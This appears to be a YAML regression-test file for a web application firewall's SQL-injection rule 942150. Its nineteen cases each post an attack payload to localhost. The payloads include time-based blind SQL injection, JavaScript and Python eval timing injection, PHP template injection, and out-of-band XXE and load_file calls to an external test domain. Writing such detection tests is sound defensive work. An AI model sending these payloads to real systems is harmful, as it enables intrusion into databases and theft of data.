---
meta:
  author: "Christian Folini"
  description: Various SQL injection tests
  enabled: true
  name: 942150.yaml
tests:
  - test_title: 942150-1
    desc: "Simple SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=SKLJDRTZWS89E450W49NQB0W45BN\"=sleep(12)=\""
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-2
    desc: "Simple SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=1' and sleep(9) #"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-3
    desc: "Simple SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=1(select*from(select(sleep(5)))d)"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-4
    desc: "Advanced SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=unittests@coreruleset.org' (function(){if(typeof foo===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a<20000);foo=1;}}()) '"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-5
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=test')and (select*from(select(sleep(10)))d)--"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-6
    desc: "Advanced SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=foo'||(select extractvalue(xmltype('<?xml version=\"1.1\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY % tocob SYSTEM \"https://unit'||'tests.coreruleset.org/\">%tocob;"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-7
    desc: "Simple SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=config.ini' and sleep(91) #"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-8
    desc: "Simple SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=/config.txt' (select load_file('\\\\\\\\unittests.coreruleset.org\\\\zow')) '"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-9
    desc: "Simple SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=None')and (select*from(select(sleep(10)))a)--"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-10
    desc: "Advanced SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=eval(compile('for x in range(1):\\n import time\\n time.sleep(12)','a','single'))"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-11
    desc: "Simple injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=file:/init.ini'.sleep(12).'"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-12
    desc: "Advanced SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=1)and (select*from(select(sleep(12)))a)-- : 1)and (select*from(select(sleep(12)))a)--"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-13
    desc: "Advanced SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=(select load_file('\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\unitests.corerule'||'set.org\\\\\\\\\\\\\\\\hvs'))"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-14
    desc: "Advanced SQL injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=/path/to/file/config.ini')and (select*from(select(sleep(12)))a)--"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-15
    desc: "Simple injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=${@print(chr(122).chr(97).chr(112).chr(95).chr(116).chr(111).chr(107).chr(101).chr(110))}"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-16
    desc: "Simple injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=test{${sleep(12)}}"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-17
    desc: "Advanced injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=test\"+eval(compile('for x in range(1):\\n import time\\n time.sleep(12)','a','single'))+\""
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-18
    desc: "Advanced injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=test\"+(function(){if(typeof gs78r==='undefined'){var a=new Date();do{var b=new Date();}while(b-a<20000);gs78r=1;}}())+\""
            version: HTTP/1.0
          output:
            log_contains: id "942150"
  - test_title: 942150-19
    desc: "Simple injection"
    stages:
      - stage:
          input:
            dest_addr: 127.0.0.1
            headers:
              Host: localhost
            method: POST
            port: 80
            uri: "/"
            data: "var=\\foobar.txt\" or sleep(4) #"
            version: HTTP/1.0
          output:
            log_contains: id "942150"
